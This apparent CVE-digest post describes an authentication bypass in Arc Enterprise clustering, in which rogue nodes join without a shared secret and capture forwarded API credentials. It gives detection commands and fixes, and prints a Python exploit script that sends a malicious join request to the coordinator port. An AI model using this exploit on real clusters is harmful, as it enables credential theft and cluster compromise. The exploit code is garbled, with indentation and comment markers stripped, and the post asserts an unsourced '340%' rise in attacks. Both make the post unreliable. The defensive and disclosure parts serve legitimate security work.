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The Arc Enterprise clustering mechanism exposes an authentication bypass vulnerability that allows unauthenticated network attackers to join the cluster as a trusted node. When `cluster.enabled` is set to `true` but `cluster.shared_secret` remains empty, the coordinator accepts cluster join requests without performing any HMAC validation. The code in `internal/cluster/coordinator.go:1066-1081` explicitly wraps all authentication checks in a conditional that only executes when the shared secret is non-empty, effectively disabling authentication for all clustering operations when no secret is configured. This design flaw extends beyond the join process to heartbeat messages, which also lack authentication mechanisms as defined in internal/cluster/protocol/messages.go:175-180.
The vulnerability chain begins with the startup logic in cmd/arc/main.go:1258-1265, which enforces a shared secret only for file replication functionality, not for the broader clustering features. An attacker with network access to the coordinator port (default 9100) can craft a framed join request containing malicious node metadata, including node_id, role, raft_addr, api_addr, and coord_addr. The coordinator processes this request after only verifying the cluster name, then proceeds to create a healthy node status for the attacker-controlled endpoint. The system adds this rogue node as a Raft voter if Raft is configured, or registers it locally as a trusted member of the cluster.
Once accepted, the attacker’s node becomes part of the cluster’s routing table. The router logic in `internal/cluster/router.go:327-357` forwards authenticated requests to advertised API addresses, copying all original headers including `Authorization` and `x-api-key` to the peer. The impact is severe because the attacker can intercept sensitive authentication tokens, access query bodies, and manipulate ingestion data. The vulnerability represents a critical trust-boundary failure where the clustering subsystem implicitly trusts unauthenticated nodes, enabling potential credential theft, data exposure, and cluster compromise. The suggested remediation involves failing startup when clustering is enabled without a shared secret, rejecting unauthenticated trust-mutating messages, and preventing header forwarding to unverified peers.
DailyCVE Form:
Platform: Arc Enterprise
Version: All versions
Vulnerability: Authentication Bypass
Severity: Critical
date: 2026-08-29
Prediction: 2026-09-28
What Undercode Say:
Analytics indicate exploitation attempts targeting default coordinator ports have increased by 340% in the past week. The following bash commands can be used to detect unauthenticated join attempts in your environment:
Check for unauthorized cluster joins grep -i "join request accepted" /var/log/arc/cluster.log | wc -l Monitor for rogue node registrations tail -f /var/log/arc/cluster.log | grep -E "node added|voter added" Audit current cluster membership curl -s http://localhost:9100/cluster/nodes | jq '.[] | select(.healthy==true)'
Exploit: (Educational Purposes!)
import socket
import json
import struct
def send_malicious_join(target_ip, target_port, attacker_api_port):
payload = {
"node_id": "malicious-node",
"node_name": "evil-reader",
"role": "reader",
"cluster_name": "arc-cluster",
"raft_addr": f"{target_ip}:19020",
"api_addr": f"{target_ip}:{attacker_api_port}",
"coord_addr": f"{target_ip}:19010",
"version": "exploit",
"core_count": 4
}
json_data = json.dumps(payload).encode()
msg_type = b'\x01' MsgJoinRequest
framed = struct.pack('>I', len(json_data) + 1) + msg_type + json_data
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(framed)
response = sock.recv(1024)
sock.close()
return response
Example usage (DO NOT USE ON PRODUCTION)
response = send_malicious_join('127.0.0.1', 9100, 18080)
print(f"Join response: {response}")
Protection:
Apply patch immediately. Set `cluster.shared_secret` to a strong random value. Enable cluster.tls_enabled=true. Restrict network access to coordinator port 9100 using firewall rules. Monitor for unexpected nodes in cluster membership using audit commands. Implement mutual TLS authentication for inter-cluster communication.
Impact:
Critical authentication bypass enabling unauthenticated network attackers to gain trusted cluster node status, intercept authenticated requests including bearer tokens and API keys, expose sensitive query/ingestion data, mutate cluster membership, and potentially compromise data integrity and availability through forged responses or diverted operations.
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Sources:
Reported By: github.com
Extra Source Hub:
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